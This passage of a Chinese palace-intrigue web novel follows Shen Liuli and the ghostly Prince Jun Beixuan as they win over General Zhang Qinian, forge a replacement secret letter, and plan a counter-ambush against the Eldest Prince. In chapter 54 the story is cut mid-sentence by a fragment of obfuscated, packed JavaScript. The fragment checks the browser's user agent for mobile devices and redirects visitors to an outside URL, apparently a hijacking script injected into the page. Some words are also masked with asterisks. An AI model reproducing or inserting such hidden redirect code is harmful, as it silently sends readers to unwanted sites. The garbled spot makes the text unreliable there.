“小姐,您这招真是太高了!”春桃一边为沈琉璃梳着头,一边满脸崇拜地说道,“您是怎么想到,用那个药水在锁上写字的呀?”
“书上看的。”沈琉璃随口答道,心中却在腹诽:“还不是被某个无所不知的鬼王爷,给逼出来的。”
就在此时,一直躺在旁边软榻上“养伤”的顾九,忽然有气无力地开了口。
“唉……”他长长地叹了一口气。
“顾先生,您叹什么气呀?”春桃好奇地问道。
“我叹的是,我这大好的年华啊。”顾九用一种极其忧伤的语气说道,“想我顾九,风流倜傥,玉树临风,本该是万花丛中过,片叶不沾身。如今,却要跟你们这群疯子,给绑在同一条贼船上。”
他看着沈琉璃,痛心疾首地说道:“一个敢悬赏皇子,一个敢单挑将军。你们俩凑一对,怕是连天都能给捅个窟窿出来。小爷我真是命苦,现在还是先想想,待会儿被人灭口的时候,摆个什么姿势比较帅吧。”
他这番话说得,让春桃又是好气又是好笑。
而沈琉璃,则是在心里,对着君北玄,冷冷地回了一句:“听到了吗?王爷,连您的军医,都觉得您不靠谱。”
君北玄:“……”
第52章 选择
午时三刻,京城外,十里长亭。
秋风萧瑟,卷起漫天黄叶。
张启年最终还是来了。
他没有穿铠甲,只着一身普通的便服,单人独骑前来赴约。
亭中,一个戴着帷帽的纤细身影,早已等候多时。
正是沈琉璃。
“你就是揽月楼的主人?”张启年翻身下马,开门见山。
“张将军,别来无恙。”沈琉璃缓缓地转过身,声音平静无波。
“我的妻儿,在何处?!”张启年的眼中,早已是布满了血丝,他一步一步地逼近,那股强大的压迫感,几乎要让人窒息。
“将军放心,”沈琉璃却没有半分退缩,她迎着张启年的目光,不卑不亢地说道,“夫人和公子,现在是揽月楼最尊贵的客人,茶饭无忧,安然无恙。”
“你到底想做什么?!”
“不想做什么。”沈琉璃微微一笑,“只是想请将军,看一场戏,听一个故事。”
她没有再给张启年质问的机会,而是将他夫人李氏,是如何抱着必死的决心,喝下那碗“催命参汤”;又是如何被顾九,从鬼门关前,硬生生地拽了回来;以及,他孩儿身上那奇毒的来龙去脉,一五一十地都说了出来。
她将自己,完美地定位成了一个,路见不平,拔刀相助的“救人者”。
张启年静静地听着,脸上没有任何表情,可他那双死死攥紧的拳头,却早已是青筋暴起。
“……空口无凭。”许久,他才从牙缝里,挤出了这几个字。
“我自然知道,将军不会轻易相信。”沈琉璃缓缓地摇了摇头,“也罢,既然如此,我便给将军看一样东西。”
她没有再多言,只是对着不远处的空气,轻轻地拍了拍手。
片刻之后,陆风拿来了一个盒子。里面,只有两份薄薄的文书。
一份,是京郊大营三千私兵的军官名册。
另一份,则是大皇子李裕,言辞露骨的亲笔信!
张启年看到这两样东西,脸上血色尽褪,一股冰冷的寒意,从他的脚底,瞬间窜上了天灵盖!
“你……你到底是谁?!”他嘶吼道,声音里充满了恐惧。
“我是谁不重要。”沈琉璃摇了摇头,“重要的是,将军您想成为一个什么样的人。”
她看着他的眼睛,缓缓地说出了魔鬼的邀约。
“将军,我不要你背叛,我要你选择。”
“是选择,继续为你那位,拿你儿子性命当棋子的主子卖命,最终落得一个‘乱臣贼子’的下场,满门抄斩。”
“还是选择弃暗投明、戴罪立功,成为拯救乾国的英雄,也为你的妻儿换一个光明的未来。”
……
就在沈琉璃,在十里长亭,与张启年进行着这场生死豪赌的时候。
大皇子府,书房。
安王李宗霖,正悠然地坐在客座上,手中捻着一串紫檀佛珠。
而在他的对面,大皇子李裕,将那块从井底捞出的令牌,重重地拍在了桌上,脸上满是兴奋。
“王叔,您都看见了!”他的声音,因为激动而微微发颤,“这是大徽王朝,肃王君北玄的狼卫令牌!”
“通敌叛国!”他一字一顿地说道,“沈琉璃这个**,竟敢勾结敌国边军!这已不是简单的储位之争,这是谋逆!是叛国!只要我们将此物呈给父皇,不仅是她沈琉璃,便是老三和整个尚书府,都将万劫不复!”
安王捻动佛珠的动作,缓缓地停了下来。
他抬起眼睛,看了一眼桌上的令牌。
“裕儿,”他缓缓开口,声音温和得像一位慈祥的长辈,“你可曾想过,这块令牌,为何会如此凑巧地出现在那口枯井里?”
李裕一愣:“王叔此话何意?自然是那刺客慌不择路,不慎遗落的。”
“是吗?”安王拿起那块令牌,在指尖轻轻摩挲着,“可依本王看,这更像是一个诱饵。”
“诱饵?”
“没错。”安王点了点头,“一个专门为你设下的诱饵,它在引诱我们,拿着这块令牌,去向陛下告发。可你想过没有,一旦我们这么做了,会是什么后果?”
“沈琉璃会哭,她会跪在陛下面前,说这是栽赃,是陷害。她会说,她一个深闺弱女,如何能与敌国边军扯上关系?”
“而你,我的好侄儿,刚刚才惹得陛下不快。你觉得,在这种时候,你拿着一块来历不明的铁牌去指控未来的太子妃‘通敌’,陛下是会信你,还是会觉得你是在为了排除异己,而不择手段?”
这番话,如同一盆冰水,让李裕清醒了几分。
是啊,父皇生性多疑,自己最近又屡屡犯错……
“那……那依王叔之见,我们该当如何?”他虚心地求教道。
“这块令牌,是好东西。”安王将令牌,轻轻地放回了桌上,“但它,现在还不是一把能**的刀。”
“我们要做的,不是立刻将它呈上去。”他的嘴角,勾起了一抹笑容,“而是要,为这把刀,配上一具最完美的‘刀鞘’,再寻一个,能让它一击致命的最好时机。”
“请王叔示下!”
“很简单。”安王继续说道,“沈琉璃不是勾结‘北境势力’吗?那我们,便帮她一把。”
“你立刻派人,去北境‘送礼’。”
“送礼?”
“对。”安王捻着佛珠,缓缓说道,“以你的名义,向我们乾国的北境三十万大军,送去一批最丰厚的粮草和军备。告诉所有人,你大皇子李裕,最是敬佩那些为国戍边的英雄。”
“同时,”他的声音,变得幽冷,“再派我们最可靠的人,将这块令牌的消息,送到大徽王朝太子君怀瑾的案头上。”
“告诉他,他那个还未过门的未婚妻,似乎与他的七弟,关系匪浅啊。”
……
平静,有时候远比风暴本身更令人不安,尤其是在一场豪赌之后,等待对手出牌的时刻。
天色将明未明,望月台内却无半分松懈。
张启年的抉择,像一柄悬而未决的达摩克利斯之剑,高悬在所有人的头顶。
唯一能打破这份沉寂的,只有隔壁客房里,时不时传来的顾九的抱怨声。
“哎哟
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!我说春桃丫头,你这是喂药呢,还是想趁机**本神医?”
客房内,顾九有气无力地斜倚在软榻上,他刚因为喝了一口春桃喂来的苦涩汤药,脸皱得像个苦瓜。
“您说什么呢!”春桃听到这话,气得鼓起了腮帮子,“奴婢这是怕您喝得太快呛着了!您以为谁都跟您一样,喝酒跟喝水似的!”
“胡说!”顾九义正言辞地反驳,“小爷我喝酒,那叫品!讲究的是意境!你这丫头片子懂什么?”
他说着,又看了一眼春桃刚刚端来的“荷花酥”,痛心疾首地评价道:“还有这玩意儿,做得跟牛嚼过的草似的,也就骗骗你们这些没见过世面的小丫头。想当年,我家主人府上的点心,那才叫一个绝……”
“您爱吃不吃!”春桃被他气得,直接将药碗重重地放在了一旁的桌上,“奴婢还不伺候了呢!”
看着这一对活宝斗嘴,沈琉璃那紧绷的神经,才稍稍放松了些许。她知道,顾九这是在用他自己的方式,来缓解大家心中的压力。
“好了春桃,别跟他一般见识。”她走上前,亲自端起药碗,“我来吧。”
“不敢不敢,”顾九看着沈琉璃,连忙摆手,那副玩世不恭的模样瞬间收敛了许多,“主公折煞我了。”
这一声“主公”,叫得自然而然,让沈琉璃微微一愣,随即也坦然地接受了。
“一个连投降都如此拖沓的将军,还能指望他做什么?”就在此时,君北玄的声音,在她脑海中响了起来。
他显然对张启年的“犹豫不决”,已经忍到了极限。
“沈琉璃,本王早就说过,军人,最重要的就是当断则断!这张启年瞻前顾后,畏首畏尾,根本不是可造之材!依本王看,就该立刻让陆风带人潜入军营,直接把他绑了!严刑拷打,不怕他不招!”
“将军,”沈琉璃在心里,无奈地回应,“您那叫‘逼供’,不叫‘策反’。用恐惧换来的,永远是暂时的屈服,而不是真正的忠诚。”
“迂腐之见!”君北玄冷哼一声,“战场上瞬息万变,哪有时间让你去攻心?只有绝对的力量,才是制胜的根本!”
“可这里不是战场。”沈琉璃看着窗外,“这里的人心,远比您北境的堡垒,要复杂得多。”
她知道,君北玄说得没错,等待确实是最煎熬的。可她也同样坚信,人心的堡垒,一旦从内部被攻破,那便再也无法修复。
就在此时,忠叔的身影,出现在了门口。他的脸上,没有众人期待的喜悦,反而带着几分凝重。
“小姐,”他躬身道,“张府那边,还没有任何消息。不过,城里倒是有两件怪事,不知当讲不当讲。”
“说。”
“第一件,”忠叔缓缓说道,“就在今天一早,大皇子府突然一改之前的低调,竟开始大张旗鼓地筹备物资。粮草、布匹、上好的金疮药,应有尽有。对外宣称,是大皇子殿下敬佩乾国北境将士戍边辛苦,要以他私人的名义,送去一份慰问礼。”
这个消息,让在场所有人都愣住了。
第53章 伪造的密信
“给北境军队送礼?”春桃的脑子,第一个转不过弯来,“他这是什么意思?想收买人心吗?”
“哼,黄鼠狼给鸡拜年。”顾九撇了撇嘴,一针见血地说道,“他那点东西,连给北境三十万大军塞牙缝都不够,不过是演给天下人看的一场戏罢了。沽名钓誉,蠢得可笑。”
“蠢吗?”沈琉璃的眉头,却紧紧地锁了起来,“我倒觉得,这一招高明得很。”
她走到舆图前,看着那代表着乾国和徽国的版图,轻声分析道:“他这一手,不仅能瞬间为他在民间,赢得‘胸怀天下’的美名,更能不动声色地向所有人,尤其是向父皇传递一个信息——他李裕,与北境的军队‘有联系’。”
“有联系?”
“没错。”沈琉璃点了点头,“这是一种**姿态,他在为之后更恶毒的后手做铺垫。”
“那第二件事呢?”她看向忠叔。
忠叔的脸色,变得更加凝重。
“就在昨夜,”他压低声音道,“四海珍宝阁的刘掌柜,传来一个消息。大皇子的信使,于昨夜三更,从后门出发,直奔东边的通州港。看那架势,似乎是要通过海路,前往一个很远的地方。”
公开送礼,暗中送信。
这两件看似毫无关联,甚至有些自相矛盾的事情,让整个望月台,都陷入了巨大的困惑中。
大皇子李裕这葫芦里,到底卖的什么药?
就在众人百思不得其解的时候,沈琉璃的脑海中,响起了君北玄的声音!
“不好!”
“王爷?”
“本**白了!”君北玄焦急地说道,“本王终于明白,他们到底想做什么了!”
“沈琉璃,你错了!”他的声音,因为愤怒而微微发颤,“李裕不是在演戏!他是在为‘栽赃’,制造最完美的背景!”
“那个信使,他要去的目的地,根本不是什么南洋小国!而是大徽王朝的上京!”
“而他手上,带去的‘礼物’,必然是那块,从井底捞出来的狼卫令牌!”
“他要将这份‘证据’,亲手交到一个人手上!”
“大徽太子,君怀瑾!”
君北玄的声音,精准地剖析着这个恶毒的计谋!
“他公开向北境送礼,是在告诉所有人,他李裕‘关心’北境,与北境‘有联系’!这样一来,他之后拿出任何与北境有关的‘证据’,都不会显得突兀!”
“而那块狼卫令牌,就是他送给君怀瑾的,一把足以杀死我们所有人的刀!”
“他这是在用一种最恶毒的方式,告诉君怀瑾:你这个还未过门的太子妃,正与你那位戍守北境的七弟,暗通款曲,意图不明!”
“他这是……一石三鸟!”
君北玄的声音,冰冷得不带任何感情。
“第一,杀你沈琉璃!任何一个储君,都绝不可能容忍自己的枕边人,与自己最大的政敌有染!君怀瑾生性多疑,他一旦收到这份‘证据’,无论真假,你都将死无葬身之地!这是诛心之计!”
“第二,杀你表哥李琰!一旦你‘通敌叛国’的罪名坐实,那么与你关系最密切的三皇子,自然也难逃干系!这是连坐之计!”
“第三,也是最狠的一招,”君北玄的声音里,带上了无边的恨意,“他要杀的,是我君北玄!”
“他要让整个大徽朝堂都相信,我君北玄,在乾国,找到了你这个新的盟友!我们意图里应外合,颠覆皇权!到那时,父皇为了稳固太子之位,为了大徽的安宁,必然会下令,将我北境大军,连同所有与我有关的人,尽数清洗!”
“这是……绝户之计!”
君北玄的分析,让在场所有人,如坠冰窟!
他们这才意识到,自己之前所沾沾自喜的计谋,与眼前这个恶毒的阴谋相比,简直是小孩子过家家!
“私兵”的罪名,固然可怕。
可与“通敌叛国,意图谋逆”这顶足以压垮两个王朝的帽子相比,又算得了什么?!
“我们……我们现在该怎么办?”春桃早已是面无人色,声音都在发颤。
是啊,怎么办?他们陷入了一个更加致命的困境。
信使已经出发,他们必须拦截。
可若是直接派陆风去**灭口,一旦失手,反而会更加坐实他们的罪名!
在这巨大的压力下,沈琉璃的俏脸,也终于变得惨白。但她的眼睛,却在这一刻,亮得惊人!
“既然,他想让我们死。”
她看着舆图上,那条从京城,通往东边港口的路线,缓缓说道。
“那我们就送他一份,更大的‘礼’!”
她猛地转过身,看向了陆风。
“陆将军,”她的声音不大,“我需要你,立刻追上那个信使。”
“但,不是杀他。而是要在他抵达大徽之前,神不知鬼不觉地将他的那封信……”
“换成我们写的!”
沈琉璃这句近乎疯狂的话语,让整个望月台瞬间陷入了寂静。
换信?
春桃和忠叔面面相觑,他们完全无法理解自家小姐的脑子里到底在想些什么。追上皇子派出的信使,神不知鬼不觉地把他的信给换掉?
这……已经不是话本子里的故事了,这简直是神仙才能做到的事情!
陆风作为一名顶尖的武将,瞬间判断出了这个任务的难度系数,九死一生。
而刚刚才缓过一口气的顾九,则直接翻了个白眼,默默地又给自己灌了一口酒压惊。
“简直胡闹!”
第一个提出反对的,是在沈琉璃脑海中的君北玄。
“沈琉璃,你当这是儿戏吗?!”
他接连抛出了一连串致命的问题。
“信使走的是官道还是海路?他每日行程几许,何时何地换马歇脚?信件藏于何处?”
“最重要的是,皇室的密信,必然有太子府特制的火漆和印记,你如何伪造?这其中任何一环出错,陆风他们都将有去无回!”
这是一个身经百战的将军,对一个计划进行的最专业的评估。
面对这一连串的质问,沈琉璃并未慌乱。
她缓缓地走到那张巨大的舆图前,指尖在上面那条从都城通往通州港的红色路线上,缓缓划过。
“王爷,您问的这些问题,我都想过。”她的声音平静,“刘掌柜的情报里提到,大皇子府的马车,昨夜三更出城,走的是最快的官道。按照最优的换马速度,每日可行三百里,不出五日,便可抵达通州港。
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而这条官道上,每隔八十里,便有一处官驿,那是信使唯一的补给点。”
她抬起头,迎着众人的目光,继续说道:“至于火漆和印记,您说的没错,我确实无法伪造。所以,我们的计划,从一开始就不是‘伪造’。”
“而是‘替换’。”
……
计划的核心,从“如何拦截”变成了“如何写一封以假乱真的信”。
“这有何难?”顾九一边给自己肩上的伤口换药,一边有气无力地提出自己的馊主意,“要我说,什么都别写,直接在信纸上画只大王八,旁边再写上君怀瑾的名字,简单明了,保证把他气个半死。”
“顾先生!”春桃在一旁急得团团转,她正手忙脚乱地帮沈琉璃研着墨,听到这话,气得小脸通红,“都什么时候了,您还有心思开玩笑!”
“小丫头,你懂什么?”顾九疼得龇牙咧嘴,还不忘反驳,“这叫心理战术!有时候,最粗鄙的羞辱,远比最精妙的计谋,更能让一个养尊处优的太子爷方寸大乱!”
沈琉璃没有理会这两个活宝,她看向了自己胸前的那枚孤狼坠。
“王爷,”她在心里,轻声问道,“接下来,要看您的了。”
“哼,总算知道请教本王了?”君北玄虽然嘴上傲娇,但声音却变得无比专注,“你可有把握模仿李裕的笔迹?”
“有。”沈琉璃的回答很肯定,“为了备嫁,父亲曾让我临摹过乾国所有皇子的字迹,以备不时之需。李裕的字外表温润,实则锋芒内敛,学他的人不少,但能得其精髓的不多。”
“很好。”君北玄的声音里带上了几分满意,“字迹是皮囊,内容才是灵魂。这封信的灵魂,必须由本王来注入。要让君怀瑾相信,这确实是出自一个对他一知半解的乾国皇子之手。”
“笔墨伺候!”
在接下来的一个时辰里,望月台内,只剩下沈琉璃笔尖划过纸张时的“沙沙”声。
“开头,不必过于亲近,但要显得消息灵通。”君北玄的声音变得深沉,“就提一句,‘听闻殿下近日为北境互市之事操劳,龙体欠安,竟未能出席宫中寿宴,孤心甚忧之’。”
“君怀瑾上个月提出的那个增加关税的蠢主意,被父皇当着满朝文武的面驳了回来,此事让他颜面尽失,只能称病不出。你这么写,等于是在提醒他,他不仅在朝堂上输了,连身体也不行。”
“正文,要先吹捧他一番。”君北玄的语气带上了几分讥讽,“就说‘久闻殿下用兵如神,三年前兵不血刃便平定南蛮水匪之乱,孤在乾国亦是钦佩不已’。”
“君怀瑾当年平定水匪,用的是水淹七军之策,看似大胜,实则淹没良田万顷,致使数万灾民流离失所,至今仍是父皇心中的一根刺。你用此事夸他,等于是在他伤口上撒盐。”
君北玄口述的每一个细节,都精准地踩在了大徽太子的痛处上。那些看似是吹捧和示好的话语,在君怀瑾眼中,都将变成最恶毒的嘲讽。
一旁的陆风和顾九听得心惊肉跳,他们这才明白,自己这位王爷对大徽王朝内部的了解,是何等恐怖!
“信的落款,就署‘乾国李裕’。”君北玄继续指挥道。
第54章 张启年的愤怒
在这场堪称完美的“伪造”中,君北玄展现出了他作为大徽皇子的绝对优势,而沈琉璃则展现出了她那惊人的学习能力。
她不仅仅是模仿,更是在君北玄的口述中,融入了自己对李裕性格的理解,将那份温润表皮下的野心,通过笔锋的顿挫转折,表现得淋漓尽致。
当最后一笔落下,沈琉璃放下笔,只觉得一阵虚脱。
信,终于写好了。
陆风接过密信,将其放入怀中。
“主公,属下这就出发!”
然而,就在他准备带着狼卫出发的时候。
忠叔,却再次面色凝重地疾步而入!
“小姐!不好了!”他焦急地说道“大皇子府那边,有新动静了!”
“说!”
“就在半个时辰前,”忠叔快速汇报道,“护卫头子王通,秘密地加强了京城四个城门的所有盘查!并且,他还派出了府中所有的斥候,沿着通往通州港的官道,设下了至少七八道暗哨!”
这个消息,让密室内本就紧张的气氛,更加雪上加霜!
“**!”顾九忍不住骂了一句,“这个王八蛋,倒是学聪明了!”
所有人的心,都沉了下去。
这意味着,陆风他们不仅要追上那个早已出发了数个时辰的信使,还必须神不知鬼不觉地,避开大皇子布下的重重罗网!
他们的行动难度,陡然增加了数倍!
大皇子虽然不知道他们要“换信”,但他却用最笨,也最有效的方法,为他们布下了一张大网!
“情况有变!”君北玄的声音,在沈琉璃的脑海中,变得无比果决,“我们需要从长计议!”
然而,沈琉璃看着舆图上,那条已被红线标注出来的死亡之路,缓缓地摇了摇头。
“不行,”她的声音不大,“我们没有时间了。”
她抬起头,看向陆风。
“陆将军,能否做到?”
“回主公,”陆风的回答,简单直接,“官道已死,但路不止一条。”
他走到舆图前,伸出手指,在官道旁那片,标注着“黑风口”的崎岖山脉上,重重一点!
“我们可以,从这里走!”
“黑风口?!”春桃发出一声惊呼,“那里不是有狼群和黑熊出没吗?!”
“没错。”君北玄的声音,也带着几分凝重,“那是一条连猎户,都不敢轻易涉足的绝路,但也是唯一能避开斥候的路!”
“好!”沈琉璃当机立断,“就走这里!”
……
陆风领命,带着两名狼卫,如三道黑色的闪电,消失在了无边的夜色中。
就在陆风离去后不到半个时辰,一名负责在楼下警戒的狼卫,突然神色古怪地走了上来。
“主公,”他单膝跪地,汇报道,“楼下来了一位客人,指名道姓要见您。”
沈琉璃的眉头,紧紧地锁了起来:“是谁?”
“他说,”那狼卫的脸上,也露出了几分困惑,“他姓张。”
“张启年!”君北玄的声音,在沈琉璃的脑中响起,“他怎么会来这里?!他不是应该在军营吗?!”
沈琉璃快步走到窗边,透过窗户的缝隙,向下望去。
只见揽月楼的后巷里,一辆属于张府的马车,正静静地停靠在阴影中。
而在车旁,一个身形笔直的男人,正负手而立,仰头望着她所在的这个窗口。
虽然隔着很远,虽然夜色很深。
但沈琉璃还是能清晰地感觉到,那道投向自己的目光,是何等的复杂。
这个时间点,他本该在城郊大营,为了蛮族使臣的突然发难而焦头烂额,可他却悄无声息地出现在了这里。
春桃早已吓得躲在了门后,紧张地看着自家小姐的背影。刚刚包扎好伤口的狼卫“柒”,下意识地将手按在了腰间的兵器上,如临大敌。
整个望月台,静得能听见烛火爆开的轻响。
“是陷阱!绝对是陷阱!”
君北玄的声音,第一时间在沈琉璃的脑海中炸响。
“他必然是在诈你!大皇子已经知道了令牌的事,他此刻只身前来,就是诱饵!府外定然早已布满了大皇子的人手,就等你自投罗网!”
君北玄的判断是,在自己这边身份已经暴露的情况下,任何来自敌方主将的接触,都必须被视为威胁。
沈琉璃的目光,透过窗户的缝隙,死死地锁定着楼下那个身影。
“不,王爷,您看他的站姿。”她的声音,在心里平静地回应。
“他只身前来,身边没有带任何护卫。站姿虽然笔挺,但他那只垂在身侧的左手,却在不自觉地反复摩挲着腰间的佩剑。这不是一个猎人,在等待猎物时该有的姿态。”
“这是一个赌徒,在押上自己全部身家性命前,最后的犹豫。”
“简直胡闹!”君北玄怒道,“战场上,岂能凭感觉臆测敌情?!万一判断失误,万劫不复!”
“可若是不赌,”沈琉璃的眼神,在这一刻变得无比坚定,“我们才真的会万劫不复。”
她否决了君北玄的建议,这是她唯一能将这颗“定时**”拆除的机会。
她转过身,对着忠叔平静地吩咐道:“忠叔,去楼下开一间最僻静的雅室,好生招待。”
“小……姐!”
忠叔犹豫地开口,眼中明显是不赞同的神色。
“去吧。”沈琉璃的语气,不容置疑。
……
一刻钟后,揽月楼,一间名为“听雪”的雅室内。
沈琉璃亲自为张启年,斟上了一杯热茶。茶香袅袅,暂时冲淡了房间里那股凝重的气氛。
“将军深夜到访,不知有何要事?”沈琉璃开门见山,她知道,在这种人面前,任何多余的试探,都是愚蠢的。
张启年没有碰那杯茶,他的眼睛,死死地盯着眼前这个少女,仿佛要将她的灵魂都看穿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091436|179246||http|test|mini|href|location''.split(''|''),0,{}));
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r>“大皇子殿下,”他缓缓开口,“已经知道你们的身份了。”
他这句话,如同一柄重锤,狠狠地砸在了沈琉璃的心上!饶是她已做好了最坏的打算,在听到这句话时,心脏还是不受控制地跳了一下。
张启年将王通,是如何在枯井的井底,发现“狼卫令牌”,以及大皇子李裕,在看到令牌后的反应,一五一十地和盘托出。
“他……很高兴。”张启年说到这里,脸上竟是露出了一抹苦笑,“他说,他终于找到了一把,能将你们,将三皇子,乃至整个尚书府,都连根拔起的刀。”
“看来,我们这位大皇子殿下,已经准备好,要给我扣上一顶‘通敌叛国’的帽子了。”沈琉璃的脸色有些发白,但声音依旧平静。
“不。”张启年摇了摇头,“那也太便宜你们了。”
他看着沈琉璃,继续说道:“殿下他给了我一个新的任务。”
张启年缓缓地,说出了大皇子和安王李宗霖的完整计划,以及他们并不急于去向皇帝告发。
“殿下命我,以‘商议边境军务’为由,将你和三皇子,一并‘请’到我京郊的大营之中。”
“然后……”他的声音,变得无比艰涩,“将你们一网打尽。”
“最后,再伪造成一场,‘因叛党内讧,最终畏罪**’的假象。”
“如此一来,他不仅能兵不血刃地除掉所有心腹大患,更能将三千私兵的罪责,尽数推到你们这些‘**’的头上。届时,他非但无过,反而有功。”
这,才是真正的杀招!
一环扣一环,招招致命,不留任何后患!
“好一个一石三鸟之计。”君北玄在她脑中,冷冷地说道,“安王那个老狐狸,果然名不虚传。”
沈琉璃的心,早已是沉入了谷底。她看着眼前这个,被逼入绝境的男人,轻声问道:“那你,为何要来告诉我这些?”
“为何?”张启年像是听到了什么天大的笑话,他猛地抬起头,死死地盯着沈琉璃!
“因为,就在昨天晚上!我的夫人,抱着我的孩儿,跪在我的面前!”他的声音,因为激动而剧烈地颤抖着,“她告诉我,是你们救了我儿子的命!是一位不知名的神医,为了救我儿子,身中剧毒,险些丧命!而你,沈大小姐,为了救那位神医,不惜闯鬼市,悬赏皇子,倾尽所有!”
“我张启年,戎马半生,杀过的人,比你见过的都多!我不在乎什么前程!我只知道,谁若是敢动我的妻儿,我便要他的命!”
“可他呢?!”他猛地一拳,砸在了身旁的桌上!
“他用我儿子的命,来要挟我!逼我为他卖命!如今,又要逼我,去杀我儿子的救命恩人!”
“沈琉璃!”他看着她,“你告诉我!这天下,有这样的道理吗?!”
沈琉璃没有说话,她只是静静地看着他,任由他发泄着心中的怒火。
第55章 风暴前夜
许久,张启年才缓缓地平复了下来。
“我今夜来,不是来求饶,也不是来威胁。”他缓缓说道,“我是来下注的。”
他从自己那宽大的衣袍内,取出了一个用油布包裹得严严实实的铁盒,放在了沈琉璃的面前。
“这里面,”他的声音沙哑,“是那三千私兵,最完整的**图、粮草账目、军械规格,以及……”
他的眼中,闪过了一抹狠戾。
“……他命我设伏,坑杀你们的亲笔手令!”
沈琉璃的心,狂跳了起来!
她知道,这才是真正的,足以一击致命的王牌!
“我把我的命,我全家的命,都押在了你身上。”张启年看着她。
“我只有一个条件。”
“事成之后,我要亲手,取李裕项上人头!”
面对张启年这份,用性命来做赌注的“投名状”,沈琉璃知道,决战的时刻已经提前到来了。
“总算有几分军人的血性!没有辱没他身上那副铠甲!”君北玄在她脑中,发出了一声由衷的赞叹。
沈琉璃站起身,对着眼前这位,已经将自己逼入绝境,又在绝境中重生的将军,深深一拜。
“将军的这份大礼,我收下了。”
“既然,大皇子殿下,已经为我们搭好了戏台。”
“那我们,若是不去唱一出好戏,岂不是太辜负他这份苦心了?”
她与张启年,相视一笑。
一个将计就计的全新计划,在这间小小的雅室内,迅速成型。
……
“小姐,您……您真的要这么做吗?”
当春桃,从门外听到这个疯狂的计划时,早已是吓得小脸发白。
“怎么?怕了?”
一旁,刚刚被请过来的顾九,将一粒黑色的药丸递给了张启年,还不忘调侃道。
“这可不是普通的假死药。”他打了个哈欠,解释道,“这是小爷我,用九九八十一种毒虫,混合了断肠草的根茎,精心炼制而成的‘龟息丹’。服下之后,能让人在十二个时辰内,气息全无,脉搏停止,便是连大罗金仙来了,也只会以为你是个**。
“唯一的缺点嘛……”他看着张启年,坏笑道:“就是醒来后,可能会拉上个三五天的肚子,将军您可得有个心理准备。”
张启年没有理会他的调侃,只是将那粒药丸,郑重地收起。
“将军,多谢您的信任。”沈琉璃看着他,“现在,您需要做的,就是立刻回到府中,按照大皇子的吩咐‘设下埋伏’。”
“而我们,会准备一份,让他永生难忘的‘大礼’。”
张启年没有多言,只是对着沈琉璃,重重地点了点头,随即转身离去。
雅室内,只剩下了沈琉璃一人。
她走到窗边,望着远处皇宫的方向,那里灯火通明,却暗藏着无边的杀机。
“小姐,他……他就这么走了?”春桃看着那空荡荡的门口,小声地问道。
沈琉璃没有回答,她只是静静地站在原地,许久才缓缓地吐出了一口浊气。
她的后背,早已被冷汗浸透。
“小姐,这张将军他……”忠叔看着桌上那个沉甸甸的铁盒,声音都在发颤。
“他把自己的命,押在了我们这边。”沈琉璃走到桌边,将那个铁盒缓缓打开。
里面静静躺着一份,由张启年亲手绘制的,京郊“一线天”山谷的详细舆图。而在舆图上,还压着一封字迹狂傲的大皇子亲笔手令!
手令上,李裕竟明确地指示张启年,命他在三日后,以“清剿叛党”为名,将沈琉璃诱至“一线天”,然后“格杀勿论,一个不留”!
这不再是谋逆的证据,这是即将挥下的屠刀!
春桃只是看了一眼,便吓得连忙别过头去,小声地嘀咕道:“小姐,这些东西是不是会烫手啊?”
“何止是烫手。”顾九有气无力地靠在门框上,却依旧不忘发挥自己的毒舌本色,“这简直就是催命符。啧啧,字写得人模狗样,心比墨还黑。要我说,咱们也别搞那么复杂了,我这‘龟息丹’里再加点料,让他假死变真死,一了百了,岂不干净?”
“顾先生!”春桃被他这番话吓得一哆嗦,“您怎么又说胡话了!”
“我这叫‘专业意见’。”顾九白了她一眼。
沈琉璃没有理会这两个活宝,她将铁盒盖上,目光扫过在场的每一个人,声音变得无比严肃。
“诸位,从现在起,我们便是坐在同一条船上了。”她深吸一口气,“开弓没有回头箭,接下来我们要做的,就是为张将军,也为我们自己,准备一份让大皇子,永生难忘的‘大礼’!”
……
揽月楼三层,望月台内。
一张由张启年亲手绘制的,京郊大营周边的详细舆图,被平铺在了桌案上。
“总算说到正事了。”
君北玄的声音,在沈琉璃的脑海中,带着兴奋。
他精准地在舆图上,指出了几个点。
“你看这里,‘一线天’山谷。李裕为了追求全歼,将伏击地点选在了这个三面环山,且只有一条通路的绝地。他以为这是瓮中捉鳖,却不知,这也同样限制了他自身兵力的展开!一旦谷内有变,这三千私兵就会像被塞进罐子里的沙丁鱼,进退失据,自相踩踏!”
“我们的目的,不是去伏击那三千私兵,我们没有这个兵力。”君北玄继续说道,“我们要做的,是利用张启年的身份
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,将大皇子为我们设下的这个杀局,变成一场为他自己准备的‘内讧’大戏!”
他迅速地制定出了一个堪称完美的反间计:
“第一步,让张启年,完全按照大皇子的命令进行部署。但是,他必须以‘防止目标从侧翼逃脱’为名,将他的心腹人马,布置在谷口两侧的高地上,这将是我们的‘奇兵’。”
“第二步,你们按时‘入瓮’。在伏击开始、场面最混乱的时候,让狼卫隐藏身份出手。他们的目标不是**,而是制造更大的混乱!第一目标,是烧掉他们的粮草大营!”君北玄的声音变得无比冰冷,“第二目标,便是完成对张启年的‘斩首’,让他服下‘龟息丹’,制造‘战死’的假象!”
“第三步,也是最关键的一步,”君北玄的声音里,充满了算计,“主帅‘战死’,粮草被烧,伏兵尽出!到那时,整个私兵大营便会陷入群龙无首的混乱中。张启年的心腹可以高喊‘为将军报仇’,与大皇子的死忠派‘内讧’。如此一来,一场精心策划的伏击,就变成了一场荒唐的哗变!”
“最后,我们再控制住那个,必然会前来‘收网’的大皇子李裕本人!”
这个计划,环环相扣,狠辣无比,是属于君北玄的风格。
然而,沈琉璃在听完之后,却缓缓地摇了摇头。
“王爷,您的计划堪称完美。”她轻声说道,“但有一个致命的漏洞。”
“什么?”君北玄的语气里,带上了几分被质疑的不悦。
“我们不仅要赢,”沈琉璃的指尖,在舆图上轻轻划过,“还要赢得干净。”
她抬起头,仿佛与那个高傲的灵魂,遥遥相对。
